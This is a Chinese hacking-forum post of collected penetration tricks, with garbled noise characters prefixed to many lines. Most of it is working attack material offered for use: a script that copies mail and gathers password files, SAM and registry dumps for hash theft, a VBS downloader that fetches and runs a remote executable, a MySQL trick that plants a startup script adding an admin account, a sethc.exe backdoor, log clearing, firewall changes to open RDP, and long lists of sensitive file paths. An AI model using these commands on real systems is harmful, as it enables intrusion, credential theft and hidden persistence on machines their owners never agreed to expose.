( M2 n$ b5 Y; Z*
  L* Y7 y% b' k3 scalling nmount()
) P9 [* U" H$ H3 q4 k, R
0 i) W1 N. ^# ?" H: ~# ]& i) Q* D: l（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
. k6 H) N5 G! n) v0 C& A——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* E/ c* i1 V; l5 G- ?! p2 g————————————————————————————
. R0 ~0 ]: Y4 S6 \$ i( G1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
1 W" P. o( M- e! d. Z, J2 }" Q4 x{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
* |3 [' Y8 I" Y! q/ _1 F: ~那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# C! S% H8 T0 u) f0 G! q; a% P}  

( w# J! h2 j, C8 O提权先执行systeminfo
( d" ]' N$ Z2 A& O; }( stoken 漏洞补丁号 KB956572
9 M* F( o) N% f6 `: [$ i7 zChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
# g. v5 S. j5 O! a! u, N2、收集系统信息的脚本  
for window：
- E! G" h4 R  X8 n5 R
$ j" D$ p  }( h@echo off
echo #########system info collection
systeminfo
! A' ]/ Z7 ^: Cver
8 q' Z- }1 v7 {* l+ Y% F) O) b5 Zhostname
, X8 K( o6 y, O3 x: n; @net user
net localgroup
- t  S5 n- a5 a2 k/ dnet localgroup administrators
7 a! g. F8 r6 a/ o6 k$ K& ]- Xnet user guest
net user administrator
# Y2 h- p; z; e9 l% I
echo #######at- with   atq#####
8 o. w, @7 T/ n* y' oecho schtask /query

7 R" y: A, i6 _3 uecho
echo ####task-list#############
8 b4 @1 S. p3 T# t% T* ?tasklist /svc
echo
echo ####net-work infomation
; K. H" X+ y! Vipconfig/all
" R" j1 t+ h+ [3 lroute print
$ {5 H9 l7 y9 A( Qarp -a
. c8 Z: ?* h( Y4 P, @" hnetstat -anipconfig /displaydns
" v3 f% Z4 ~+ u7 Necho
echo #######service############
2 G4 N4 W2 J6 z* l" S: Y: ?sc query type= service state= all
echo #######file-##############
1 s8 G. Y! U7 Y, g; ycd \
tree -F
for linux：
2 y' @- A# p% D. F3 B* H# |
#!/bin/bash
8 s( _3 u1 T) E  O# w( ?% g5 X
echo #######geting sysinfo####
2 p% y3 p+ h2 \) Y% ~echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
) b  G$ {) d( ^/ Vecho #######basic infomation##
* a9 |! u& U5 y. Q6 M+ H& D4 o' o. Ecat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
% F5 ~) U" @6 v0 p! O
' _9 q4 X, q7 O
echo 'u'r id is' `id`
echo ###atq&crontab#####
1 U8 A2 q9 n7 Watq
0 I& v/ T3 g5 ccrontab -l
* w6 |% I$ Q$ ?) k, P- secho #####about var#####
set

echo #####about network###
. T5 }* A1 O( |  e& v3 _) c" y1 x####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
$ O+ p; `, ?4 }  ~0 U. _8 bhostname
6 M/ D4 W; }* o4 Bipconfig -a
- u3 J2 q' w. a$ `2 k7 |arp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
/ p0 C$ I/ o5 F% |+ vchkconfig --list
# a+ t, g4 O* N8 w3 ], Y4 R- [
2 q! `8 I: b4 D0 R9 t3 _/ O/ jfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
' z5 Z' t/ [( E- B8 tdone
) L6 g6 t: R5 R, w
) g! L' w$ }+ K" v8 B8 [locate passwd >/tmp/password 2>/dev/null
) @6 A8 `3 ]* f3 X% B2 W0 O1 o( Ssleep 5
. |3 }$ j6 ?9 x7 Y$ D+ V6 v: vlocate password >>/tmp/password 2>/dev/null
sleep 5
- ~$ N& c/ B, H8 @7 g; ~+ Tlocate conf >/tmp/sysconfig 2>dev/null
2 ~- e! y' y/ l8 l( [5 w" rsleep 5
& Y! n9 b3 j3 Q& W4 vlocate config >>/tmp/sysconfig 2>/dev/null
# ~. ]0 ~+ i1 F8 G+ usleep 5
6 x! E6 `5 A4 B4 V0 {
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
# j4 p% ]6 {1 p+ N4 m; f* ~8 ]首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
5 x. G" P4 U- t, s5 `% u5 a) R2 G               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
0 J5 G4 w0 ^" a+ Z7 `7 Q/ ?注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
. ?, }7 W% K# Y5 Q& h4、vbs 下载者
1
" _% {; J: G" M1 ^  cecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
/ b$ N  b( j' ?1 r, ]echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) B9 V# E  e4 I' Techo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
, @2 a) w. A! l2 a; U7 tcftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
4 y8 I% ]! r$ E8 q4 HiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
# b/ M% F# L  z$ _% L2 R0 Ts1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
  ]8 J2 d; @- CSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
, J( n+ g! e( |Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
0 \; t. Z" C: p/ T6 w# ~: h6 tsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

$ ~0 q; x' u; y' g7 W% i8 c' V9 B当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
+ S/ w- L" E6 [* ZREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
0 X5 O0 f! [2 ~7 d7 k! @; O5 nREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ k: I4 s1 k; lREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
# T# [! p9 C3 ~, t————————————————
6、create table a (cmd text);
  ]2 ]; t7 `9 u2 a5 minsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
% t7 L7 C% U; Z( qselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
9 ]2 \! a) T) R1 g7 U5 i3 F0 q————————————————————
/ c, W8 a: P4 ~7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
% J0 W& N; U- }( `_____
- |6 y. Q( p. v4 e- Z' z: j8、for /d %i in (d:\freehost\*) do @echo %i

4 z/ o- g* B8 G0 i6 h% O列出d的所有目录
3 [% \+ b, R. ~4 u6 b" E1 T  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

. v5 @5 [" H6 U: t) A: r2.for /r %i in (*.exe) do @echo %i
  
: p. t% n! E, t以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
& \; M- y0 g- C
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
; n  M7 s6 H) ?6 H  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

* d; t; R: H7 r, r5 b4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
  F6 T) h) _; z! q% n——————————
, e  D4 p7 b. ?2 B7 y3 V●注册表:
1.Administrator注册表备份:
' ~1 F- e# Z# ^% S- }+ b6 ~2 j& z$ }# Jreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

9 w6 A0 U. t5 h, N0 Y/ R; g2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
/ p$ k/ P6 A# F3 W2 v% z
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
- i. R' V8 Q7 y( U8 f3 @* V$ Y
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

7 V4 p8 a3 d" [# r+ }+ \2 O5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
$ N% G: u9 @+ p0 y: p
! @1 Y( w; _* B% {: v: {' a0 q" `6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
/ ]7 h- W3 r! I/ m' l" `3 i
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

' z1 r. \7 h2 p9 ]( i3 l9.另类方法抓系统密码HASH
/ C( ~3 H  M: g& `/ c2 u$ V5 kreg save hklm\sam c:\sam.hive
' M5 g- K0 y) \# s2 Ereg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
7 o+ s% F/ b' c# e" y' Q1 S
% G' N+ G/ y( ]/ x" y! |6 {- Z2 q- d# ]& n10.shift映像劫持
" n+ h! m6 M3 N. d( }1 `reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
# S! V" Z" [: ^( `: M' r, Q& f% z
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
+ G9 q8 x1 K, ~. \-----------------------------------
星外vbs(注：测试通过，好东西）
8 h# K  ^' [0 k: qSet ObjService=GetObject("IIS://LocalHost/W3SVC")
" }0 E, O' T, N9 z' U7 \" q5 SFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
* `4 [, I7 t9 F* G& aif err.number<>0 then
exit for
$ L1 c6 n/ a% H& lmsgbox("error!")
3 j) _" e" w: E9 v1 cwscript.quit
end if
9 A3 R3 q7 r3 i" Rserverbindings=IIS.serverBindings
" H& N, ]5 ?5 d0 V3 k9 u, UServerComment=iis.servercomment
- k1 C9 b8 ?- h6 zset IISweb=iis.getobject("IIsWebVirtualDir","Root")
4 l. {1 W7 M' a2 X, Ruser=iisweb.AnonymousUserName
0 W4 K" H( R# @pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
( U+ H% V3 B7 Ywscript.echo list
) W# X6 V4 @5 A' c* kSet ObjService=Nothing
1 i* K  i) a: g1 H, ?9 T/ ~0 y, Owscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
$ J1 r! i' \- o$ |& K% `复制代码
7 D$ V' l1 r  c9 h+ ]8 T  O- S----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
" c4 J& F; }' s& E! Z2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
- ?6 G+ Q7 I7 @% m5 @# b0 t+ x<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
3 b1 ^+ w, L- _+ V) Z然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
& N3 N$ u9 M0 w5 u) E 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

+ ?% |: {) a& X/ C, U==============================================================
) W  U6 r5 s' A: B' a+ a. DLINUX常见路径：

9 Y; p, P5 z1 ~' C/etc/passwd
/etc/shadow
4 F$ a! E7 f  A, l$ d/etc/fstab
/etc/host.conf
/etc/motd
0 e5 Q7 H+ @2 M8 h/etc/ld.so.conf
/ b7 ~3 l. L! n0 z/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
" q) X, A  h/ O0 `/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
6 \% F, A/ }" V* l+ z: m/var/www/index.html
/var/www/index.php
8 Z$ }) L) ^9 K5 P1 O" K! |  y+ Q/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
% |, i; o- |) k  z6 w# Z, _# P( `3 n/usr/local/apache2/htdocs/index.html
! W; z* J: X) s# v0 u/usr/local/apache2/htdocs/index.php
: q" B+ w/ O7 ^# i' w" c/ k  Y7 L' W3 Z* K/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
" a/ n+ L+ @6 b. ?$ ~/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
6 S! O0 u+ G% u0 `3 N/etc/httpd/htdocs/index.html
9 Y3 Q3 _+ X- N/ [# o/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
$ z! n) X  W7 [- @' L/www/htdocs/index.php
7 u5 T$ f6 }4 U8 Q( }/www/htdocs/index.html
5 {- G& ?* i3 a" Q5 H/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
; |$ {. u' |7 }! o* e; @/ ^1 W! ^/etc/apache/httpd.conf
/etc/apache2/httpd.conf
1 N) t- r& ]- w# J/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
# H. `2 Z$ c9 Q  U/ p/etc/httpd/logs/access_log
6 o9 ?% g  i) J" X3 J& ~% W/etc/httpd/logs/access.log
# T1 D7 @2 s) o$ Y0 g/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
8 _& [6 _, T" Y$ P/var/log/apache2/error.log
* X2 \; e4 p/ Z4 f) o/var/log/apache2/access_log
5 S% |9 D) m- w( Z$ F8 M4 k/var/log/apache2/access.log
! h; r# B. ^. n, u$ v/var/www/logs/error_log
/ z6 j/ i: U  ?/var/www/logs/error.log
% K8 w* `. `6 _/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
5 I8 I! ^6 k/ G1 s3 H/usr/local/apache/logs/access.log
/var/log/error_log
2 W5 ]4 u7 {; E8 \/var/log/error.log
/var/log/access_log
6 y2 T8 y6 m! V  _! H/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/ M6 ~+ g" Q. a/usr/local/apache/logs/error_logerror_log.old
0 O9 h# @8 e4 O5 [7 ]7 Y/etc/php.ini
/bin/php.ini
) h; x9 y  n, q/ @; r& x" j0 ]/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
  |7 G6 P9 _/ W2 c' [' O/ R- P/ L4 z% |/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
( l5 K. m/ d& f% m8 j8 v/usr/local/php/lib/php.ini
7 B. X. G: F  S8 F* D/usr/local/php4/lib/php.ini
/ b- S. |0 {0 R3 [9 d3 S: s* @/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
( D$ h) e" K+ z6 P# B! L* {) T& }/usr/local/apache/conf/php.ini
/ k; e( Z- D! F. C/usr/local/apache/conf/httpd.conf
: M: e& T7 L8 w4 G/usr/local/apache2/conf/httpd.conf
3 y4 n+ D% d, [, J  j- b/usr/local/apache2/conf/php.ini
% Z0 H7 ]# H3 _% Z3 h1 ]8 `/etc/php4.4/fcgi/php.ini
% u' J# x. |7 f% ~2 z+ L) z/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
4 z. K. b9 l2 |& V; K/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
& D/ D$ ?6 t* m% E: k, A/web/conf/php.ini
/usr/local/Zend/etc/php.ini
0 u8 S; V5 Z+ S$ m! Z  F8 W; s+ ^! L/opt/xampp/etc/php.ini
- d5 @" R- K5 l/ X* k/var/local/www/conf/php.ini
. Q# u$ L* C- R& n& L/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
# c$ D7 R3 R# \: d) J' a4 M: c; O/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
- y# r. `6 K& c; q# @/xampp/apache/conf/httpd.conf
3 b) Z9 e- p2 G) }" o* L$ C! I6 P/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
4 ]4 }  @% _9 i: P/ b" [7 g/var/log/mysql/mysql-bin.log
. g$ e. ]" |( }* y' P9 `+ q/var/log/mysql.log
9 D, a) E- T. c" B1 l1 k: ~( O/var/log/mysqlderror.log
+ v& }; h3 \2 e' ^/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
- I9 k. t6 z( v; m/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
: C, H7 ~! V- a! u) i- W. S/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
, F& F2 H% T# g! D0 }+ [" h/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
* n* f* E( B1 Y. E# z/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
3 ?* r& R$ d8 Z' L& n" i- g; |/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 A( c& [( S  {, g% Q7 rc:\windows\php.ini
' m" Z( U$ v$ [# U& jc:\boot.ini
: G/ Q" v' U9 P, m- W: hc:\1.txt
c:\a.txt

* B3 c5 }+ d& ?. w% r; a# s' Dc:\CMailServer\config.ini
; ^' s! p% D3 M3 P2 pc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
. H2 N* I& E( v. qc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
5 f  ?3 K4 Z0 i) @" b$ P* y- t, `6 w5 EC:\WinWebMail\Web\default.asp
5 q+ {1 [8 Y3 g( @! M& O4 tC:\WINDOWS\FreeHost32.dll
0 X" R: m# ^0 S) \& o( vC:\WINDOWS\7i24iislog4.exe
  \& k1 L7 A7 t: n2 }9 d0 t% {2 vC:\WINDOWS\7i24tool.exe

/ `2 M* H; H; A8 Z9 ?3 A$ |c:\hzhost\databases\url.asp
  G  @( w& t. k3 O
c:\hzhost\hzclient.exe
: s4 y2 u$ K3 y+ |C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
7 ^6 @9 r: n3 x
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
( G) O6 a$ n6 ]/ U; X) [# sC:\WINDOWS\web.config
c:\web\index.html
- ^, U; c7 n8 C3 K  Y# e4 `+ i, Yc:\www\index.html
- ?' b  V& o0 @7 O3 a9 Xc:\WWWROOT\index.html
c:\website\index.html
5 j, ?" Q0 o- j" u2 X* i3 K/ x2 yc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
) C; \& j5 A0 fc:\WWWROOT\index.asp
$ g3 W  X8 k2 o* \( v1 bc:\web\index.php
c:\www\index.php
" Y% T4 G, i/ F0 \) i* E$ Ac:\WWWROOT\index.php
c:\WWWsite\index.php
( m5 I1 w* [2 n- i5 a; W  {0 W: \c:\web\default.html
c:\www\default.html
! \7 i4 @  y" E- A9 Gc:\WWWROOT\default.html
  m. Z7 J; e" a0 o( D& uc:\website\default.html
c:\web\default.asp
c:\www\default.asp
2 S: {# H( W* A: Mc:\wwwsite\default.asp
. y* o6 J6 z5 [c:\WWWROOT\default.asp
c:\web\default.php
# ~4 H9 B  c& z% B. J& r$ Qc:\www\default.php
! }# J* r! ~7 i: ]! bc:\WWWROOT\default.php
; F2 Z. Q; L+ Nc:\WWWsite\default.php
# z* V$ A; A- y4 w$ c! [3 HC:\Inetpub\wwwroot\pagerror.gif
& Y# V& ^- \" nc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
0 o0 V( C9 r3 u' O, xc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
- S7 @8 h7 q+ b  s2 c8 }C:\Documents and Settings\Administrator\My Documents\1.txt
8 |: V- b/ Q5 bC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
: S% M: I6 o8 I' gC:\Documents and Settings\Administrator\桌面\a.txt
( }' k5 x. J- u4 U% X/ ^/ RC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
, H' B+ I3 N( c8 j) I  ^- PE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
# \. V$ s4 \5 y3 N; _! mC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
  m  ?5 t2 |( g/ S" H; xC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
  G/ n6 O' s) O: W: g1 rC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
; T- W& R7 {, D6 w; j* IC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
7 u+ b4 a# l6 ~+ H: ZC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
& O) F: t8 M) N( gC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
% E, }+ |% C$ ]9 rC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
8 V+ N7 h) C4 |* P. o$ eC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
" O% C# v9 O1 ]6 VC:\WINDOWS\system32\inetsrv\w3wp.exe
; N! t" u! B  L  }. n2 W' [3 TC:\WINDOWS\system32\inetsrv\inetinfo.exe
( Q! t  ~$ T6 Z- ?8 |/ |- `+ wC:\WINDOWS\system32\inetsrv\MetaBase.xml
' G  @$ W. R2 G" kC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
$ [0 @/ d# ~9 v* zc:\CMailServer\config.ini
( w, W3 k8 F) d& F' H4 Zc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
' t6 ]6 N# Q, v3 S# b* Cc:\tomcat\bin\version.sh
  ~: b* Y" D2 g5 Z* H1 D3 ?c:\program files\tomcat6\bin\version.sh
2 \: W6 ~/ T: n9 H" UC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
2 v- E" s5 }* {8 m* dc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
, S5 X( V9 X0 H4 D/usr/local/tomcat5527/bin/version.sh
& D2 U; E; K, \6 ~# C/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
( _. v; w% @. K; Y$ f; Fc:\Program Files\Tencent\qq\User.db
# c) \$ U2 d; X* C# }; Yc:\Program Files\Tencent\qq\qq.exe
1 f$ K. [: z  ?$ w& K+ _- v& tc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
) P5 ?3 V. G3 j) X& W' S$ Bc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
1 W8 |; o5 G+ D0 t; y& z% sC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
